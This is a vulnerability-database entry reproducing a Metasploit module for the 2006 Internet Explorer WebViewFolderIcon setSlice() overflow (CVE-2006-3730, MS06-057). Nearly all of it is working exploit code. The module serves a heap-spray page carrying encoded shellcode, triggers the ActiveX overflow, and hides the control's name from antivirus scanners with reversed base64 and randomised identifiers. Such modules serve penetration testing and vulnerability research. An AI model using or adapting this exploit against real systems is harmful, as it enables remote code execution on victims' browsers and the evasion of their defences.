Internet Explorer WebViewFolderIcon setSlice() Overflow

🗓️ 01 Jul 2014 00:00:00Reported by RootType
Internet Explorer WebViewFolderIcon setSlice() Overflow. Exploits flaw in ActiveX control included with Windows 2000, XP, 2003 (MoBB #18)

                                                ##
# $Id: ms06_057_webview_setslice.rb 9669 2010-07-03 03:13:45Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require &#39;msf/core&#39;

class Metasploit3 &#60; Msf::Exploit::Remote
	Rank = NormalRanking

	include Msf::Exploit::Remote::HttpServer::HTML

	def initialize(info = {})
		super(update_info(info,
			&#39;Name&#39;           =&#62; &#39;Internet Explorer WebViewFolderIcon setSlice() Overflow&#39;,
			&#39;Description&#39;    =&#62; %q{
				This module exploits a flaw in the WebViewFolderIcon ActiveX control
			included with Windows 2000, Windows XP, and Windows 2003. This flaw was published
			during the Month of Browser Bugs project (MoBB #18).
			},
			&#39;License&#39;        =&#62; MSF_LICENSE,
			&#39;Author&#39;         =&#62;
				[
					&#39;hdm&#39;,
				],
			&#39;Version&#39;        =&#62; &#39;$Revision: 9669 $&#39;,
			&#39;References&#39;     =&#62;
				[
					[ &#39;CVE&#39;, &#39;2006-3730&#39;],
					[ &#39;OSVDB&#39;, &#39;27110&#39; ],
					[ &#39;MSB&#39;, &#39;MS06-057&#39;],
					[ &#39;BID&#39;, &#39;19030&#39; ],
					[ &#39;URL&#39;, &#39;http://browserfun.blogspot.com/2006/07/mobb-18-webviewfoldericon-setslice.html&#39; ]
				],
			&#39;Payload&#39;        =&#62;
				{
					&#39;Space&#39;          =&#62; 1024,
					&#39;BadChars&#39;       =&#62; &#34;\x00&#34;,

				},
			&#39;Platform&#39;       =&#62; &#39;win&#39;,
			&#39;Targets&#39;        =&#62;
				[
					[&#39;Windows XP SP0-SP2 / IE 6.0SP1 English&#39;, {&#39;Ret&#39; =&#62; 0x0c0c0c0c} ]
				],
			&#39;DefaultTarget&#39;  =&#62; 0,
			&#39;DisclosureDate&#39; =&#62; &#39;Jul 17 2006&#39;))
	end

	def on_request_uri(cli, request)

		# Re-generate the payload
		return if ((p = regenerate_payload(cli)) == nil)

		# Encode the shellcode
		shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))

		# Get a unicode friendly version of the return address
		addr_word  = [target.ret].pack(&#39;V&#39;).unpack(&#39;H*&#39;)[0][0,4]

		# Randomize the javascript variable names
		var_buffer    = rand_text_alpha(rand(30)+2)
		var_shellcode = rand_text_alpha(rand(30)+2)
		var_unescape  = rand_text_alpha(rand(30)+2)
		var_x         = rand_text_alpha(rand(30)+2)
		var_i         = rand_text_alpha(rand(30)+2)
		var_tic       = rand_text_alpha(rand(30)+2)
		var_toc       = rand_text_alpha(rand(30)+2)

		# Annoying AVs
		var_aname     = &#34;==QMu42bjlkclRGbvZ0dllmViV2Vu42bjlkclRGbvZ0dllmViV2V&#34;.reverse.unpack(&#34;m*&#34;)[0]
		var_ameth     = &#34;=U2Ypx2U0V2c&#34;.reverse.unpack(&#34;m*&#34;)[0]

		# Randomize HTML data
		html          = rand_text_alpha(rand(30)+2)


		# Build out the message
		content = %Q|
&#60;html&#62;
&#60;head&#62;
	&#60;script&#62;
	try {

	var #{var_unescape}  = unescape ;
	var #{var_shellcode} = #{var_unescape}( &#34;#{shellcode}&#34; ) ;

	var #{var_buffer} = #{var_unescape}( &#34;%u#{addr_word}&#34; ) ;
	while (#{var_buffer}.length &#60;= 0x100000) #{var_buffer}+=#{var_buffer} ;

	var #{var_x} = new Array() ;
	for ( var #{var_i} =0 ; #{var_i} &#60; 120 ; #{var_i}++ ) {
		#{var_x}[ #{var_i} ] =
			#{var_buffer}.substring( 0 ,  0x100000 - #{var_shellcode}.length ) + #{var_shellcode} ;
	}


	for ( var #{var_i} = 0 ; #{var_i} &#60; 1024 ; #{var_i}++) {
		var #{var_tic} = new ActiveXObject( &#39;#{var_aname}&#39; );
		try { #{var_tic}.#{var_ameth}( 0x7ffffffe , 0 , 0 , #{target.ret} ) ; } catch( e ) { }
		var #{var_toc} = new ActiveXObject( &#39;#{var_aname}&#39; );
	}

	} catch( e ) { window.location = &#39;about:blank&#39; ; }

	&#60;/script&#62;
&#60;/head&#62;
&#60;body&#62;
#{html}
&#60;/body&#62;
&#60;/html&#62;
		|

		content = Rex::Text.randomize_space(content)

		print_status(&#34;Sending exploit to #{cli.peerhost}:#{cli.peerport}...&#34;)

		# Transmit the response to the client
		send_response_html(cli, content)

		# Handle the payload
		handler(cli)
	end

end
01 Jul 2014 00:00Current
7.1High risk
Vulners AI Score7.1